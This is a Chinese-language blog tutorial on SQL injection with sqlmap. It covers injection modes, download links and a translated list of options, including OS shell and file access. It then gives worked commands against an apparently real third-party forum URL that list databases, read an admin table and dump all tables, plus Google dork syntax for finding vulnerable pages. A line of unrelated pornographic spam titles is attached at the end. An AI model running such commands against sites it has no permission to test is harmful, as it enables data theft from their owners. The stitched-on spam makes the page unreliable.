<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          手把手教你用Python輕松玩轉(zhuǎn)SQL注入

          共 8303字,需瀏覽 17分鐘

           ·

          2021-03-25 13:15

          點(diǎn)擊上方“Python爬蟲與數(shù)據(jù)挖掘”,進(jìn)行關(guān)注

          回復(fù)“書籍”即可獲贈Python從入門到進(jìn)階共10本電子書

          山有木兮木有枝,心悅君兮君不知。

          前言

          大家好,我是黃偉。相信大家經(jīng)常有聽到過SQL注入啥的,但是并不是特別了解;小編以前就是經(jīng)常聽別人說,但是自己啥都不懂,直到后來看了相關(guān)教材后才明白,原來是這么個東西,那么到底是什么東西了,又或者是不是個東西了?我們接著往下看。


          一、淺談SQL注入

          SQL注入其實(shí)就是把SQL命令插入到WEB表單中提交或者輸入一些頁面請求的查詢字符串,比如我們輸網(wǎng)址,就是相當(dāng)于這種操作,只不過我們不是在測試SQL注入漏洞,而僅僅只是為了輸入后看到相應(yīng)網(wǎng)頁上的內(nèi)容而已。一般方法有,如:猜數(shù)據(jù)表名,其次就是繞過后臺漏洞,一般這兩種方法And或者Or關(guān)鍵字用的比較多。國內(nèi)曾經(jīng)也出現(xiàn)過類似的軟件,像什么啊D,明小子,曾經(jīng)也是一眾腳本小子的必備神器,現(xiàn)在由于未更新也怕是涼涼了,只不過曾經(jīng)也曾輝煌過。


          二、Sqlmap的注入方式

          Sqlmap總共有五種不同的注入模式,如下:

          1.時間盲注

          2.布爾盲注

          3.報錯注入

          4.聯(lián)合查詢注入

          5.堆查詢注入


          三、Sqlmap支持的數(shù)據(jù)庫

          基本上主流數(shù)據(jù)庫它都支持,比如Mysql ,Mongo,Oracle,Sqlserver,Access,Sqlite等等。


          四、Sqlmap安裝

          這里我們可以使用兩種方案,一個是安裝Sqlmap的Python版本,另一個是下載已經(jīng)編譯好的Sqlmap應(yīng)用程序,看你選擇哪個。只不過官網(wǎng)下載會比較慢,所以,貼心的小編已經(jīng)將它們都下載下來了,大家直接按照我提供的下載地址進(jìn)行下載即可,如下:

          Sqlmap.py :https://u062.com/file/7715018-453776489Sqlmap.exe:https://u062.com/file/7715018-453776892


          五、玩轉(zhuǎn)基本命令

          這里我們以Sqlmap程序?yàn)橹鱽磉M(jìn)行講解,當(dāng)然你也可以使用Python版的Sqlmap,命令都一樣。有命令自然離不開參數(shù),Sqlmap也是一樣,不過它里面的參數(shù)也是出奇的多,我的乖乖,小編表示哭暈在廁所。下面我們來一個個進(jìn)行講解,也許可能講的不是很全面,希望多多包涵。我們都知道不管哪個命令行工具都會有幫助命令,Sqlmap也不例外,一個""-h",直接所有命令通通給你列出來,如下:

          79f9671e05e74b755c0379b2c662b067.webp

          相信大家從圖中看到了眾多的中文,開始犯難了,不慌,問題不大。此外,不知道大家有沒有看到”-hh“這個不知道是什么鬼,其實(shí)這就是比”-h“稍微高級那么一點(diǎn)而已。如圖所示:

          73c729e742ef121d87c365761480457f.webp

          比”-h“看起來更加有條理。那么讓俺來親自向大家介紹下這些參數(shù)的用處吧,起碼先給它翻譯過來。

          Options(選項(xiàng)):–version 顯示程序的版本號并退出-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細(xì)級別:0-6(默認(rèn)為1以上七個等級分別為:0、只顯示python錯誤以及嚴(yán)重的信息1、同時顯示基本信息和警告信息(默認(rèn))2、同時顯示debug信息3、同時顯示注入的payload4、同時顯示HTTP請求5、同時顯示HTTP響應(yīng)頭6、同時顯示HTTP響應(yīng)頁面

          Target(目標(biāo)):以下至少需要設(shè)置其中一個選項(xiàng),設(shè)置目標(biāo)URL。-d DIRECT 直接連接到數(shù)據(jù)庫。-u URL, –url=URL 目標(biāo)URL-l LIST 從Burp或WebScarab代理的日志中解析目標(biāo)。-m BULKFILE 掃描多個目標(biāo)列入給定文本文件 -r REQUESTFILE 從一個文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結(jié)果作為目標(biāo)URL。-c CONFIGFILE 從INI配置文件中加載選項(xiàng)。  Request(請求):這些選項(xiàng)可以用來指定如何連接到目標(biāo)URL。data=DATA 通過POST發(fā)送的數(shù)據(jù)字符串——param-del = PDEL字符用于分割參數(shù)值–cookie=COOKIE HTTP Cookie頭--load-cookies= 讀取Netscape/wget格式的cookies文件–cookie-urlencode URL 編碼生成的cookie注入drop-set-cookie 忽略響應(yīng)的Set – Cookie頭信息user-agent=AGENT 指定 HTTP UserAgent–random-agent 使用隨機(jī)選定的HTTP UserAgent --force-ssl 使用SSL / HTTPS請求 --host=HOST HTTP主機(jī)頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開,加入其它的HTTP–auth-type=ATYPE HTTP身份驗(yàn)證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗(yàn)證憑據(jù)(用戶名:密碼)–auth-cert=ACERT HTTP認(rèn)證證書(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標(biāo)URL–proxy-cred=PCRED HTTP代理身份驗(yàn)證憑據(jù)(用戶名:密碼)ignore-proxy 忽略系統(tǒng)默認(rèn)的HTTP代理–delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒timeout=TIMEOUT 等待連接超時的時間(默認(rèn)為30秒)–retries=RETRIES 連接超時后重新連接的時間(默認(rèn)3scope=SCOPE 從所提供的代理日志中過濾器目標(biāo)的正則表達(dá)式safe-url=SAFURL 在測試過程中經(jīng)常訪問的url地址safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL --skip-urlencode 跳過URL編碼的數(shù)據(jù) --eval=EVALCODE 評估請求之前提供Python代碼(如?!癷mport hashlib; id2 = hashlib.md5 (id) .hexdigest())


          Optimization(優(yōu)化):這些選項(xiàng)可用于優(yōu)化SqlMap的性能。-o 開啟所有優(yōu)化開關(guān)–predict-output 預(yù)測常見的查詢輸出keep-alive 使用持久的HTTP(S)連接null-connection 從沒有實(shí)際的HTTP響應(yīng)體中檢索頁面長度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認(rèn)為1

          Injection(注入):這些選項(xiàng)可以用來指定測試哪些參數(shù), 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(shù)(S)–dbms=DBMS 強(qiáng)制后端的DBMS為此值–os=OS 強(qiáng)制后端的DBMS操作系統(tǒng)為這個值——invalid-bignum 使用大數(shù)據(jù)無效值——invalid-logical 使用邏輯操作無效值——no-cast 關(guān)掉負(fù)載鑄造機(jī)制——no-unescape 關(guān)掉字符串unescap機(jī)制–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本篡改注入數(shù)據(jù) --skip=SKIP 跳過給定的參數(shù)
          Detection(檢測):這些選項(xiàng)可以用來指定在SQL盲注時如何解析和比較HTTP響應(yīng)頁面的內(nèi)容。level=LEVEL 執(zhí)行測試的等級(1-5,默認(rèn)為1–risk=RISK 執(zhí)行測試的風(fēng)險(0-3,默認(rèn)為1string=STRING 字符串匹配時查詢計算為True--not-string=NOT.. 字符串匹配時查詢計算為False–regexp=REGEXP 查詢時有效時在頁面匹配正則表達(dá)式——code= HTTP狀態(tài)碼text-only 僅基于在文本內(nèi)容比較網(wǎng)頁

          Techniques(技巧):這些選項(xiàng)可用于調(diào)整具體的SQL注入測試。–technique=TECH SQL注入技術(shù)測試(默認(rèn)BEUST)time-sec=TIMESEC DBMS響應(yīng)的延遲時間(默認(rèn)為5秒)union-cols=UCOLS 定列范圍用于測試UNION查詢注入union-char=UCHAR 用于暴力猜解列數(shù)的字符--dns-domain= DNS . .域名用于DNS漏出攻擊--second-order= S . .產(chǎn)生的頁面的url搜索二階響應(yīng)
          Fingerprint(指紋):-f, –fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋

          Enumeration(枚舉):這些選項(xiàng)可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運(yùn)行您自己的SQL語句。-b, –banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫is-dba 檢測DBMS當(dāng)前用戶是否DBAusers 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶–passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色–dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫tables 枚舉的DBMS數(shù)據(jù)庫中的表columns 枚舉DBMS數(shù)據(jù)庫表列——schema 列舉DBMS模式——count 計算檢索表(s)的條目數(shù)量–dump 轉(zhuǎn)儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項(xiàng)–dump-all 轉(zhuǎn)儲所有的DBMS數(shù)據(jù)庫表中的條目search 搜索列(S),表(S)和/或數(shù)據(jù)庫名稱(S)-D DBname 要進(jìn)行枚舉的指定數(shù)據(jù)庫名-T TBLname 要進(jìn)行枚舉的指定數(shù)據(jù)庫表(如:-T tablename –columns-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫列-U USER 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶-–exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據(jù)庫-–start=LIMITSTART 第一個查詢輸出進(jìn)入檢索-–stop=LIMITSTOP 最后查詢的輸出進(jìn)入檢索-–first=FIRSTCHAR 第一個查詢輸出字的字符檢索-–last=LASTCHAR 最后查詢的輸出字字符檢索-–sql-query=QUERY 要執(zhí)行的SQL語句-–sql-shell 提示交互式SQL的shell--sql-file = SQLFILE執(zhí)行SQL語句從給定的文件(s)
          Brute force(蠻力):這些選項(xiàng)可以被用來運(yùn)行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列

          User-defined function injection(用戶自定義函數(shù)注入):這些選項(xiàng)可以用來創(chuàng)建用戶自定義函數(shù)。–udf-inject 注入用戶自定義函數(shù)shared-lib=SHLIB 共享庫的本地路徑

          File system access(訪問文件系統(tǒng)):這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)。file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑

          Operating system access(操作系統(tǒng)訪問):這些選項(xiàng)可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)。–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令–os-shell 交互式的操作系統(tǒng)的shell–os-pwn 獲取一個OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC–os-bof 存儲過程緩沖區(qū)溢出利用–priv-esc 數(shù)據(jù)庫進(jìn)程用戶權(quán)限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠(yuǎn)程臨時文件目錄的絕對路徑

          Windows注冊表訪問:這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)Windows注冊表。–reg-read 讀一個Windows注冊表項(xiàng)值–reg-add 寫一個Windows注冊表項(xiàng)值數(shù)據(jù)–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項(xiàng)值–reg-data=REGDATA Windows注冊表鍵值數(shù)據(jù)–reg-type=REGTYPE?Windows注冊表項(xiàng)值類型

          General(一般)這些選項(xiàng)可以用來設(shè)置一些一般的工作參數(shù)。-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中–batch 從不詢問用戶輸入,使用所有默認(rèn)配置--charset=CHARSET 強(qiáng)制字符串編碼--crawl=CRAWLDEPTH 從起始位置爬取的深度--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符——dbms-cred=DBMS.. DBMS身份驗(yàn)證憑據(jù)(用戶:密碼)--eta 顯示每個輸出的預(yù)計到達(dá)時間--flush-session 刷新當(dāng)前目標(biāo)的會話文件--forms 在目標(biāo)URL上解析和測試表單--fresh-queries 忽略在會話文件中存儲的查詢結(jié)果--hex dump非ascii字符時,將其編碼為16進(jìn)制,收到后解碼還原--output-dir=OUT.. 輸出結(jié)果至文件--parse-errors 解析并顯示報錯信息--replicate 復(fù)制數(shù)據(jù)到一個數(shù)據(jù)庫sqlite3save file保存選項(xiàng)到INI配置文件——tor 使用tor匿名網(wǎng)絡(luò)——tor-port=TORPORT 設(shè)置Tor代理端口,而不是默認(rèn)設(shè)置——tor-type=TORTYPE 設(shè)置Tor代理類型(HTTP違約,SOCKS4或SOCKS5)update 更新SqlMap

          Miscellaneous(雜項(xiàng)):-z MNEMONICS 參數(shù)助記符,例:-z "bat,randoma,ign,tec=BEU" 其實(shí)就是只要你寫的字母可以唯一匹配其它參數(shù),就可以生效。check-payload IDS對注入payloads的檢測測試--alert=ALERT 在找到SQL注入時運(yùn)行主機(jī)OS命令--answers=ANSWERS 設(shè)置問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認(rèn)值,可以使用者個參數(shù)對特定問題設(shè)定特定答案。例:--answer "extending=N"–beep 發(fā)現(xiàn)SQL注入時提醒--cleanup SqlMap具體的UDF和表清理DBMS--dependencies 檢查缺少的Sql映射依賴項(xiàng)--disable-coloring 禁用控制臺輸出著色--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結(jié)果--identify-waf 識別目標(biāo)的防火墻--mobile cosplay 手機(jī)--offline 在脫機(jī)模式下工作--purge-output 情況輸出文件夾--skip-waf 跳過WAF/IPS/IDS保護(hù)的啟發(fā)式檢測--smart 有大量檢測目標(biāo)時候,只選擇基于錯誤的檢測--sqlmap-shell 創(chuàng)建一個交互的sqlmap_shell--tmp-dir=TMPDIR 更改存儲臨時文件的本地目錄--web-root=WEBROOT 設(shè)置Web服務(wù)器文檔根目錄。例:--web-root="/www"--wizard 給初級用戶的簡單向?qū)Ы缑?/span>

          上面便是小編輸入Sqlmap的幫助命令后翻譯好的Sqlmap全部指令了,下面我們來進(jìn)行實(shí)際應(yīng)用下。

          1.判斷相關(guān)條件來判斷URL是否存在注入

          50f842603e97edcaa533b19885938a6c.webp

          我們給它設(shè)置了一個數(shù)據(jù)庫和url的請求指令,相當(dāng)于是在查找Mysql數(shù)據(jù)庫中是否存在注入點(diǎn),然后我又選擇它里面的數(shù)據(jù)庫來進(jìn)行獲取,然后它便會不斷的使用SQL語句對這個數(shù)據(jù)庫進(jìn)行定點(diǎn)爆破,如圖:

          da8c3b0597ee8cc873f480cee3507bd0.webp

          413a0f8950a2a05f99fcf8963e0deda0.webp

          2.構(gòu)建Post請求

          上面我們所做的請求其實(shí)就是個Get請求,現(xiàn)在我們來看看Post請求,如下:

          835f6b82fe1137a20aff5554c2be3f29.webp

          就像我們平時那樣構(gòu)建Post請求的格式就可以了。

          3.獲取數(shù)據(jù)庫、表信息

          當(dāng)我們找到注入點(diǎn)后就可以很輕易的找到這些數(shù)據(jù)庫和它對應(yīng)的表了,比如:

          Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 -dbs#所有數(shù)據(jù)庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-db#當(dāng)前數(shù)據(jù)庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP #數(shù)據(jù)表Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-user#當(dāng)前用戶Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --is-dba#判斷歸屬Sqlmap -u http://www.juliwz.cn/forum.php?id=1  -D "VIP" --dump-all#轉(zhuǎn)儲所有表

          4.爆破用戶名和密碼

          利用自己搭建的WEB服務(wù)器來作為測試點(diǎn),我們來試試看,如下:

          18437cde1f00e43983df31cae0c945f2.webp

          5fee01ab4ac7354a605b4f0a868b5e30.webp

          5.Google Hacker語法糖

          講到這里我們不得不提一下GoogleHacker語法,如下:

          intitle: 從網(wǎng)頁標(biāo)題中搜索指定的關(guān)鍵字,可專門用來搜索指定版本名稱的各類web程序,也可用allintitleinurl: 從url中搜索指定的關(guān)鍵字,可專門用來構(gòu)造各種形式的漏洞url,也可用allinurlintext:從網(wǎng)頁中搜索指定的關(guān)鍵字,可專門用它來穿透到漏洞頁面等……也可用allintextfiletype: 搜索指定的文件后綴,例如:jpg sql mdb txt bak ini zip rar doc xls……site: 在某個特定的網(wǎng)站內(nèi)中搜索指定的內(nèi)容link:搜索和該鏈接有關(guān)聯(lián)連接,比如:友情鏈接index of: 找目錄遍歷會用到  +   強(qiáng)制包含某個字符進(jìn)行查詢 -   查詢的時候忽略某個字符 ""  查詢的時候精確匹配雙引號內(nèi)的字符 .   匹配某單個字符進(jìn)行查詢 *   匹配任意字符進(jìn)行查詢 |   或者,多個選擇,只要有一個關(guān)鍵字匹配上即可

          講這個的目的主要是什么了?其實(shí)也就是SQL注入,很多人可能覺得這跟SQL注入沒關(guān)系啊,那你就錯了,這個也是找后門的常用語法。不信的話你可以和小編一起來看看,如下:

          b617b55e9c5a0fb5097f34b2b32ce8a8.webp

          4c94f0661ec0de761dfd75a5999f3504.webp

          后面的我就不介紹了,免得害人,相信看了我寫的例子,很多人都基本上會了。


          六、總結(jié)

          總的來說,SQL注入無非就是一段艱難險阻的路程,你可以發(fā)現(xiàn)但是別人也可以防御,雖然你發(fā)現(xiàn)要比較久的時間,但是人家防御卻是很輕松,個人覺得得不償失,不建議大家深入了解,只是做個簡單的介紹了解下就好,至少你搜索技能因此而提高了不少吧。

          -------------------?End?-------------------

          往期精彩文章推薦:

          60b6422c05b2974b73fa2c1264e28ed9.webp

          歡迎大家點(diǎn)贊,留言,轉(zhuǎn)發(fā),轉(zhuǎn)載,感謝大家的相伴與支持

          想加入Python學(xué)習(xí)群請?jiān)诤笈_回復(fù)【入群

          萬水千山總是情,點(diǎn)個【在看】行不行

          /今日留言主題/

          隨便說一兩句吧~

          瀏覽 53
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  牛牛高清无码在线观看视频 | 日韩久久电影 | 91久色| 天天撸在线观看 | 青娱乐A片|